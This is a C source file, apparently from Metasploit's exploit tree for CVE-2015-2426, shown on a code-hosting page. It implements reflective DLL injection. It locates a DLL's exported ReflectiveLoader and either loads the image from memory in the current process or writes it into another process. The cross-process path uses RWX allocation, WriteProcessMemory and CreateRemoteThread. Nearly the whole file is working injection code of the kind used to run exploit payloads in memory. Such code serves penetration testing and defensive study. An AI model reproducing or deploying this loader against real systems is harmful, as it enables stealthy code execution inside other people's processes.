Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-2426/inject/src/LoadLibraryR.c
Views: 11789
//===============================================================================================//1// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)2// All rights reserved.3//4// Redistribution and use in source and binary forms, with or without modification, are permitted5// provided that the following conditions are met:6//7// * Redistributions of source code must retain the above copyright notice, this list of8// conditions and the following disclaimer.9//10// * Redistributions in binary form must reproduce the above copyright notice, this list of11// conditions and the following disclaimer in the documentation and/or other materials provided12// with the distribution.13//14// * Neither the name of Harmony Security nor the names of its contributors may be used to15// endorse or promote products derived from this software without specific prior written permission.16//17// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR18// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND19// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR20// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR21// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR22// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY23// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR24// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE25// POSSIBILITY OF SUCH DAMAGE.26//===============================================================================================//27#include "LoadLibraryR.h"28//===============================================================================================//29DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )30{31WORD wIndex = 0;32PIMAGE_SECTION_HEADER pSectionHeader = NULL;33PIMAGE_NT_HEADERS pNtHeaders = NULL;3435pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);3637pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);3839if( dwRva < pSectionHeader[0].PointerToRawData )40return dwRva;4142for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )43{44if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )45return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );46}4748return 0;49}50//===============================================================================================//51DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )52{53UINT_PTR uiBaseAddress = 0;54UINT_PTR uiExportDir = 0;55UINT_PTR uiNameArray = 0;56UINT_PTR uiAddressArray = 0;57UINT_PTR uiNameOrdinals = 0;58DWORD dwCounter = 0;59#ifdef _WIN6460DWORD dwMeterpreterArch = 2;61#else62// This will catch Win32 and WinRT.63DWORD dwMeterpreterArch = 1;64#endif6566uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;6768// get the File Offset of the modules NT Header69uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;7071// currenlty we can only process a PE file which is the same type as the one this fuction has72// been compiled as, due to various offset in the PE structures being defined at compile time.73if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE3274{75if( dwMeterpreterArch != 1 )76return 0;77}78else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE6479{80if( dwMeterpreterArch != 2 )81return 0;82}83else84{85return 0;86}8788// uiNameArray = the address of the modules export directory entry89uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];9091// get the File Offset of the export directory92uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );9394// get the File Offset for the array of name pointers95uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );9697// get the File Offset for the array of addresses98uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );99100// get the File Offset for the array of name ordinals101uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );102103// get a counter for the number of exported functions...104dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;105106// loop through all the exported functions to find the ReflectiveLoader107while( dwCounter-- )108{109char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));110111if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )112{113// get the File Offset for the array of addresses114uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );115116// use the functions name ordinal as an index into the array of name pointers117uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );118119// return the File Offset to the ReflectiveLoader() functions code...120return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );121}122// get the next exported function name123uiNameArray += sizeof(DWORD);124125// get the next exported function name ordinal126uiNameOrdinals += sizeof(WORD);127}128129return 0;130}131//===============================================================================================//132// Loads a DLL image from memory via its exported ReflectiveLoader function133HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )134{135HMODULE hResult = NULL;136DWORD dwReflectiveLoaderOffset = 0;137DWORD dwOldProtect1 = 0;138DWORD dwOldProtect2 = 0;139REFLECTIVELOADER pReflectiveLoader = NULL;140DLLMAIN pDllMain = NULL;141142if( lpBuffer == NULL || dwLength == 0 )143return NULL;144145__try146{147// check if the library has a ReflectiveLoader...148dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );149if( dwReflectiveLoaderOffset != 0 )150{151pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);152153// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...154// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region155if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )156{157// call the librarys ReflectiveLoader...158pDllMain = (DLLMAIN)pReflectiveLoader();159if( pDllMain != NULL )160{161// call the loaded librarys DllMain to get its HMODULE162// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.163if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )164hResult = NULL;165}166// revert to the previous protection flags...167VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );168}169}170}171__except( EXCEPTION_EXECUTE_HANDLER )172{173hResult = NULL;174}175176return hResult;177}178//===============================================================================================//179// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function180// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR181// defined in order to use the correct RDI prototypes.182// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |183// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ184// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.185// Note: This function currently cant inject accross architectures, but only to architectures which are the186// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.187HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )188{189LPVOID lpRemoteLibraryBuffer = NULL;190LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;191HANDLE hThread = NULL;192DWORD dwReflectiveLoaderOffset = 0;193DWORD dwThreadId = 0;194195__try196{197do198{199if( !hProcess || !lpBuffer || !dwLength )200break;201202// check if the library has a ReflectiveLoader...203dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );204if( !dwReflectiveLoaderOffset )205break;206207// alloc memory (RWX) in the host process for the image...208lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );209if( !lpRemoteLibraryBuffer )210break;211212// write the image into the host process...213if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )214break;215216// add the offset to ReflectiveLoader() to the remote library address...217lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );218219// create a remote thread in the host process to call the ReflectiveLoader!220hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );221222} while( 0 );223224}225__except( EXCEPTION_EXECUTE_HANDLER )226{227hThread = NULL;228}229230return hThread;231}232//===============================================================================================//233234235